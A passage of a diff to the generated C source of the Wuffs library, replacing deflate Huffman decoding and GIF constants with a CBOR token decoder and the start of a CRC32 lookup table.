1u; ++ } ++ iop_a_src += v_token_length; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194816u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_continued)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_token_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (v_string_length > 0u) { ++ continue; ++ } else if (v_indefinite_string_major_type > 0u) { ++ goto label__outer__continue; ++ } ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ } else if (v_c_major == 3u) { ++ if (v_c_minor < 28u) { ++ if (v_string_length == 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } else if (v_c_minor == 31u) { ++ if (v_indefinite_string_major_type != 0u) { ++ break; ++ } ++ v_indefinite_string_major_type = 3u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__outer__continue; ++ } else { ++ break; ++ } ++ while (true) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); ++ continue; ++ } ++ v_n64 = wuffs_base__u64__min(v_string_length, 65535u); ++ v_n64 = ((uint64_t)(wuffs_base__utf_8__longest_valid_prefix(iop_a_src, ++ ((size_t)(wuffs_base__u64__min(((uint64_t)(io2_a_src - iop_a_src)), v_n64)))))); ++ v_token_length = ((uint32_t)((v_n64 & 65535u))); ++ if (v_token_length <= 0u) { ++ if ((a_src && a_src->meta.closed) || (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { ++ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); ++ continue; ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) < ((uint64_t)(v_token_length))) { ++ status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_token_length); ++ goto exit; ++ } ++ v_string_length -= ((uint64_t)(v_token_length)); ++ v_continued = 0u; ++ if ((v_string_length > 0u) || (v_indefinite_string_major_type > 0u)) { ++ v_continued = 1u; ++ } ++ iop_a_src += v_token_length; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_continued)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_token_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (v_string_length > 0u) { ++ continue; ++ } else if (v_indefinite_string_major_type > 0u) { ++ goto label__outer__continue; ++ } ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ } else if (v_c_major == 4u) { ++ if (WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor] == 0u) { ++ break; ++ } else if (v_depth >= 1024u) { ++ v_token_length = ((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])); ++ while ((v_token_length > 0u) && (iop_a_src > io1_a_src)) { ++ iop_a_src--; ++ v_token_length -= 1u; ++ } ++ status = wuffs_base__make_status(wuffs_cbor__error__unsupported_recursion_depth); ++ goto exit; ++ } ++ v_vminor = 2105361u; ++ v_vminor_alt = 2101282u; ++ if (v_depth > 0u) { ++ v_stack_byte = ((v_depth - 1u) / 16u); ++ v_stack_bit = (((v_depth - 1u) & 15u) * 2u); ++ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { ++ v_vminor = 2105377u; ++ v_vminor_alt = 2105378u; ++ } else { ++ v_vminor = 2105409u; ++ v_vminor_alt = 2113570u; ++ } ++ } ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (v_c_minor == 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ v_stack_byte = (v_depth / 16u); ++ v_stack_bit = ((v_depth & 15u) * 2u); ++ self->private_data.f_stack[v_stack_byte] &= (4294967295u ^ (((uint32_t)(3u)) << v_stack_bit)); ++ self->private_data.f_container_num_remaining[v_depth] = v_string_length; ++ v_depth += 1u; ++ v_tagged = false; ++ goto label__outer__continue; ++ } else if (v_c_major == 5u) { ++ if (WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor] == 0u) { ++ break; ++ } else if (v_depth >= 1024u) { ++ v_token_length = ((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])); ++ while ((v_token_length > 0u) && (iop_a_src > io1_a_src)) { ++ iop_a_src--; ++ v_token_length -= 1u; ++ } ++ status = wuffs_base__make_status(wuffs_cbor__error__unsupported_recursion_depth); ++ goto exit; ++ } ++ v_vminor = 2113553u; ++ v_vminor_alt = 2101314u; ++ if (v_depth > 0u) { ++ v_stack_byte = ((v_depth - 1u) / 16u); ++ v_stack_bit = (((v_depth - 1u) & 15u) * 2u); ++ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { ++ v_vminor = 2113569u; ++ v_vminor_alt = 2105410u; ++ } else { ++ v_vminor = 2113601u; ++ v_vminor_alt = 2113602u; ++ } ++ } ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ if (v_c_minor == 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ v_stack_byte = (v_depth / 16u); ++ v_stack_bit = ((v_depth & 15u) * 2u); ++ self->private_data.f_stack[v_stack_byte] |= (((uint32_t)(3u)) << v_stack_bit); ++ self->private_data.f_container_num_remaining[v_depth] = v_string_length; ++ v_depth += 1u; ++ v_tagged = false; ++ goto label__outer__continue; ++ } else if (v_c_major == 6u) { ++ if (v_c_minor >= 28u) { ++ break; ++ } ++ if (v_string_length < 262144u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | ++ (((uint64_t)((4194304u | ((uint32_t)(v_string_length))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } else { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | ++ (((uint64_t)((4194304u | ((uint32_t)((v_string_length >> 46u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ *iop_a_dst++ = wuffs_base__make_token( ++ (~(v_string_length & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ } ++ v_tagged = true; ++ goto label__outer__continue; ++ } else if (v_c_major == 7u) { ++ if (v_c_minor < 20u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | ++ (((uint64_t)((8388608u | ((uint32_t)((v_string_length & 255u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } else if (v_c_minor < 24u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(WUFFS_CBOR__LITERALS[((uint8_t)(v_c_minor & 3u))])) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } else if (v_c_minor == 24u) { ++ if (v_string_length < 24u) { ++ if ( ! (iop_a_src > io1_a_src)) { ++ status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ iop_a_src--; ++ break; ++ } ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | ++ (((uint64_t)((8388608u | ((uint32_t)((v_string_length & 255u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } else if (v_c_minor < 28u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(10490113u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } else if (v_c_minor == 31u) { ++ if (v_tagged || (v_depth <= 0u)) { ++ break; ++ } ++ v_depth -= 1u; ++ if (self->private_data.f_container_num_remaining[v_depth] != 0u) { ++ break; ++ } ++ v_stack_byte = (v_depth / 16u); ++ v_stack_bit = ((v_depth & 15u) * 2u); ++ v_stack_val = (3u & (self->private_data.f_stack[v_stack_byte] >> v_stack_bit)); ++ if (v_stack_val == 1u) { ++ break; ++ } ++ if (v_stack_val != 3u) { ++ v_vminor_alt = 2097186u; ++ } else { ++ v_vminor_alt = 2097218u; ++ } ++ if (v_depth <= 0u) { ++ v_vminor_alt |= 4096u; ++ } else { ++ v_stack_byte = ((v_depth - 1u) / 16u); ++ v_stack_bit = (((v_depth - 1u) & 15u) * 2u); ++ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { ++ v_vminor_alt |= 8192u; ++ } else { ++ v_vminor_alt |= 16384u; ++ } ++ } ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__goto_parsed_a_leaf_value__break; ++ } ++ } ++ } while (0); ++ if (iop_a_src > io1_a_src) { ++ iop_a_src--; ++ status = wuffs_base__make_status(wuffs_cbor__error__bad_input); + goto exit; + } +- } else if ((v_table_entry >> 27u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); + goto exit; + } +- v_length = (((v_table_entry >> 8u) & 255u) + 3u); +- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); +- if (v_table_entry_n_bits > 0u) { +- while (v_n_bits < v_table_entry_n_bits) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint32_t t_2 = *iop_a_src++; +- v_b2 = t_2; +- } +- v_bits |= (v_b2 << v_n_bits); +- v_n_bits += 8u; ++ label__goto_parsed_a_leaf_value__break:; ++ v_tagged = false; ++ while (v_depth > 0u) { ++ v_stack_byte = ((v_depth - 1u) / 16u); ++ v_stack_bit = (((v_depth - 1u) & 15u) * 2u); ++ self->private_data.f_stack[v_stack_byte] ^= (((uint32_t)(1u)) << (v_stack_bit + 1u)); ++ if (1u == (3u & (self->private_data.f_stack[v_stack_byte] >> v_stack_bit))) { ++ goto label__outer__continue; + } +- v_length = (((v_length + 253u + ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 255u) + 3u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- } +- while (true) { +- v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- if (v_n_bits >= v_table_entry_n_bits) { +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- break; ++ if (self->private_data.f_container_num_remaining[(v_depth - 1u)] <= 0u) { ++ goto label__outer__continue; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint32_t t_3 = *iop_a_src++; +- v_b3 = t_3; +- } +- v_bits |= (v_b3 << v_n_bits); +- v_n_bits += 8u; +- } +- if ((v_table_entry >> 28u) == 1u) { +- v_redir_top = ((v_table_entry >> 8u) & 65535u); +- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); +- while (true) { +- v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- if (v_n_bits >= v_table_entry_n_bits) { +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- break; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint32_t t_4 = *iop_a_src++; +- v_b4 = t_4; +- } +- v_bits |= (v_b4 << v_n_bits); +- v_n_bits += 8u; ++ self->private_data.f_container_num_remaining[(v_depth - 1u)] -= 1u; ++ if (self->private_data.f_container_num_remaining[(v_depth - 1u)] > 0u) { ++ goto label__outer__continue; + } +- } +- if ((v_table_entry >> 24u) != 64u) { +- if ((v_table_entry >> 24u) == 8u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; ++ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); ++ continue; + } +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } +- v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); +- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); +- if (v_table_entry_n_bits > 0u) { +- while (v_n_bits < v_table_entry_n_bits) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint32_t t_5 = *iop_a_src++; +- v_b5 = t_5; +- } +- v_bits |= (v_b5 << v_n_bits); +- v_n_bits += 8u; ++ v_depth -= 1u; ++ v_stack_byte = (v_depth / 16u); ++ v_stack_bit = ((v_depth & 15u) * 2u); ++ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { ++ v_vminor_alt = 2097186u; ++ } else { ++ v_vminor_alt = 2097218u; + } +- v_dist_minus_1 = ((v_dist_minus_1 + ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 32767u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- } +- while (true) { +- if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { +- v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); +- if (v_hdist < v_length) { +- v_hlen = v_hdist; ++ if (v_depth <= 0u) { ++ v_vminor_alt |= 4096u; ++ } else { ++ v_stack_byte = ((v_depth - 1u) / 16u); ++ v_stack_bit = (((v_depth - 1u) & 15u) * 2u); ++ if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { ++ v_vminor_alt |= 8192u; + } else { +- v_hlen = v_length; +- } +- v_hdist += ((uint32_t)(((uint64_t)(self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u))))); +- if (self->private_impl.f_history_index < v_hdist) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); +- goto exit; +- } +- v_n_copied = wuffs_base__io_writer__limited_copy_u32_from_slice( +- &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); +- if (v_n_copied < v_hlen) { +- v_length -= v_n_copied; +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); +- continue; +- } +- v_length -= v_hlen; +- if (v_length == 0u) { +- goto label__loop__continue; ++ v_vminor_alt |= 16384u; + } + } +- v_n_copied = wuffs_base__io_writer__limited_copy_u32_from_history( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); +- if (v_length <= v_n_copied) { +- goto label__loop__continue; +- } +- v_length -= v_n_copied; +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); + } ++ break; + } +- self->private_impl.f_bits = v_bits; +- self->private_impl.f_n_bits = v_n_bits; +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; +- } ++ self->private_impl.f_end_of_data = true; + + ok: +- self->private_impl.p_decode_huffman_slow[0] = 0; ++ self->private_impl.p_decode_tokens = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_huffman_slow[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_huffman_slow[0].v_bits = v_bits; +- self->private_data.s_decode_huffman_slow[0].v_n_bits = v_n_bits; +- self->private_data.s_decode_huffman_slow[0].v_table_entry_n_bits = v_table_entry_n_bits; +- self->private_data.s_decode_huffman_slow[0].v_lmask = v_lmask; +- self->private_data.s_decode_huffman_slow[0].v_dmask = v_dmask; +- self->private_data.s_decode_huffman_slow[0].v_redir_top = v_redir_top; +- self->private_data.s_decode_huffman_slow[0].v_redir_mask = v_redir_mask; +- self->private_data.s_decode_huffman_slow[0].v_length = v_length; +- self->private_data.s_decode_huffman_slow[0].v_dist_minus_1 = v_dist_minus_1; ++ self->private_impl.p_decode_tokens = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ self->private_data.s_decode_tokens.v_string_length = v_string_length; ++ self->private_data.s_decode_tokens.v_depth = v_depth; ++ self->private_data.s_decode_tokens.v_tagged = v_tagged; ++ self->private_data.s_decode_tokens.v_indefinite_string_major_type = v_indefinite_string_major_type; + + goto exit; + exit: +@@ -36408,243 +36446,607 @@ wuffs_deflate__decoder__decode_huffman_slow( + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } + return status; + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__DEFLATE) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CBOR) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GIF) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC32) + + // ---------------- Status Codes Implementations + +-const char wuffs_gif__error__bad_lzw_code[] = "#gif: bad LZW code"; +-const char wuffs_gif__error__bad_extension_label[] = "#gif: bad extension label"; +-const char wuffs_gif__error__bad_frame_size[] = "#gif: bad frame size"; +-const char wuffs_gif__error__bad_graphic_control[] = "#gif: bad graphic control"; +-const char wuffs_gif__error__bad_header[] = "#gif: bad header"; +-const char wuffs_gif__error__bad_literal_width[] = "#gif: bad literal width"; +-const char wuffs_gif__error__bad_palette[] = "#gif: bad palette"; +-const char wuffs_gif__error__truncated_input[] = "#gif: truncated input"; +-const char wuffs_gif__error__internal_error_inconsistent_i_o[] = "#gif: internal error: inconsistent I/O"; +- + // ---------------- Private Consts + + static const uint32_t +-WUFFS_GIF__INTERLACE_START[5] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 4294967295, 1, 2, 4, 0, +-}; +- +-static const uint8_t +-WUFFS_GIF__INTERLACE_DELTA[5] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 1, 2, 4, 8, 8, +-}; +- +-static const uint8_t +-WUFFS_GIF__INTERLACE_COUNT[5] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 1, 2, 4, 8, +-}; +- +-static const uint8_t +-WUFFS_GIF__ANIMEXTS1DOT0[11] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 65, 78, 73, 77, 69, 88, 84, 83, +- 49, 46, 48, +-}; +- +-static const uint8_t +-WUFFS_GIF__NETSCAPE2DOT0[11] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 78, 69, 84, 83, 67, 65, 80, 69, +- 50, 46, 48, +-}; +- +-static const uint8_t +-WUFFS_GIF__ICCRGBG1012[11] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 73, 67, 67, 82, 71, 66, 71, 49, +- 48, 49, 50, +-}; +- +-static const uint8_t +-WUFFS_GIF__XMPDATAXMP[11] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 88, 77, 80, 32, 68, 97, 116, 97, +- 88, 77, 80, ++WUFFS_CRC32__IEEE_TABLE[16][256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ { ++ 0u, 1996959894u, 3993919788u, 2567524794u, 124634137u, 1886057615u, 3915621685u, 2657392035u, ++ 249268274u, 2044508324u, 3772115230u, 2547177864u, 162941995u, 2125561021u, 3887607047u, 2428444049u, ++ 498536548u, 1789927666u, 4089016648u, 2227061214u, 450548861u, 1843258603u, 4107580753u, 2211677639u, ++ 325883990u, 1684777152u, 4251122042u, 2321926636u, 335633487u, 1661365465u, 4195302755u, 2366115317u, ++ 997073096u, 1281953886u, 3579855332u, 2724688242u, 1006888145u, 1258607687u, 3524101629u, 2768942443u, ++ 901097722u, 1119000684u, 3686517206u, 2898065728u, 853044451u, 1172266101u, 3705015759u, 2882616665u, ++ 651767980u, 1373503546u, 3369554304u, 3218104598u, 565507253u, 1454621731u, 3485111705u, 3099436303u, ++ 671266974u, 1594198024u, 3322730930u, 2970347812u, 795835527u, 1483230225u, 3244367275u, 3060149565u, ++ 1994146192u, 31158534u, 2563907772u, 4023717930u, 1907459465u, 112637215u, 2680153253u, 3904427059u, ++ 2013776290u, 251722036u, 2517215374u, 3775830040u, 2137656763u, 141376813u, 2439277719u, 3865271297u, ++ 1802195444u, 476864866u, 2238001368u, 4066508878u, 1812370925u, 453092731u, 2181625025u, 4111451223u, ++ 1706088902u, 314042704u, 2344532202u, 4240017532u, 1658658271u, 366619977u, 2362670323u, 4224994405u, ++ 1303535960u, 984961486u, 2747007092u, 3569037538u, 1256170817u, 1037604311u, 2765210733u, 3554079995u, ++ 1131014506u, 879679996u, 2909243462u, 3663771856u, 1141124467u, 855842277u, 2852801631u, 3708648649u, ++ 1342533948u, 654459306u, 3188396048u, 3373015174u, 1466479909u, 544179635u, 3110523913u, 3462522015u, ++ 1591671054u, 702138776u, 2966460450u, 3352799412u, 1504918807u, 783551873u, 3082640443u, 3233442989u, ++ 3988292384u, 2596254646u, 62317068u, 1957810842u, 3939845945u, 2647816111u, 81470997u, 1943803523u, ++ 3814918930u, 2489596804u, 225274430u, 2053790376u, 3826175755u, 2466906013u, 167816743u, 2097651377u, ++ 4027552580u, 2265490386u, 503444072u, 1762050814u, 4150417245u, 2154129355u, 426522225u, 1852507879u, ++ 4275313526u, 2312317920u, 282753626u, 1742555852u, 4189708143u, 2394877945u, 397917763u, 1622183637u, ++ 3604390888u, 2714866558u, 953729732u, 1340076626u, 3518719985u, 2797360999u, 1068828381u, 1219638859u, ++ 3624741850u, 2936675148u, 906185462u, 1090812512u, 3747672003u, 2825379669u, 829329135u, 1181335161u, ++ 3412177804u, 3160834842u, 628085408u, 1382605366u, 3423369109u, 3138078467u, 570562233u, 1426400815u, ++ 3317316542u, 2998733608u, 733239954u, 1555261956u, 3268935591u, 3050360625u, 752459403u, 1541320221u, ++ 2607071920u, 3965973030u, 1969922972u, 40735498u, 2617837225u, 3943577151u, 1913087877u, 83908371u, ++ 2512341634u, 3803740692u, 2075208622u, 213261112u, 2463272603u, 3855990285u, 2094854071u, 198958881u, ++ 2262029012u, 4057260610u, 1759359992u, 534414190u, 2176718541u, 4139329115u, 1873836001u, 414664567u, ++ 2282248934u, 4279200368u, 1711684554u, 285281116u, 2405801727u, 4167216745u, 1634467795u, 376229701u, ++ 2685067896u, 3608007406u, 1308918612u, 956543938u, 2808555105u, 3495958263u, 1231636301u, 1047427035u, ++ 2932959818u, 3654703836u, 1088359270u, 936918000u, 2847714899u, 3736837829u, 1202900863u, 817233897u, ++ 3183342108u, 3401237130u, 1404277552u, 615818150u, 3134207493u, 3453421203u, 1423857449u, 601450431u, ++ 3009837614u, 3294710456u, 1567103746u, 711928724u, 3020668471u, 3272380065u, 1510334235u, 755167117u, ++ }, { ++ 0u, 421212481u, 842424962u, 724390851u, 1684849924u, 2105013317u, 1448781702u, 1329698503u, ++ 3369699848u, 3519200073u, 4210026634u, 3824474571u, 2897563404u, 3048111693u, 2659397006u, 2274893007u, ++ 1254232657u, 1406739216u, 2029285587u, 1643069842u, 783210325u, 934667796u, 479770071u, 92505238u, ++ 2182846553u, 2600511768u, 2955803355u, 2838940570u, 3866582365u, 4285295644u, 3561045983u, 3445231262u, ++ 2508465314u, 2359236067u, 2813478432u, 3198777185u, 4058571174u, 3908292839u, 3286139684u, 3670389349u, ++ 1566420650u, 1145479147u, 1869335592u, 1987116393u, 959540142u, 539646703u, 185010476u, 303839341u, ++ 3745920755u, 3327985586u, 3983561841u, 4100678960u, 3140154359u, 2721170102u, 2300350837u, 2416418868u, ++ 396344571u, 243568058u, 631889529u, 1018359608u, 1945336319u, 1793607870u, 1103436669u, 1490954812u, ++ 4034481925u, 3915546180u, 3259968903u, 3679722694u, 2484439553u, 2366552896u, 2787371139u, 3208174018u, ++ 950060301u, 565965900u, 177645455u, 328046286u, 1556873225u, 1171730760u, 1861902987u, 2011255754u, ++ 3132841300u, 2745199637u, 2290958294u, 2442530455u, 3738671184u, 3352078609u, 3974232786u, 4126854035u, ++ 1919080284u, 1803150877u, 1079293406u, 1498383519u, 370020952u, 253043481u, 607678682u, 1025720731u, ++ 1711106983u, 2095471334u, 1472923941u, 1322268772u, 26324643u, 411738082u, 866634785u, 717028704u, 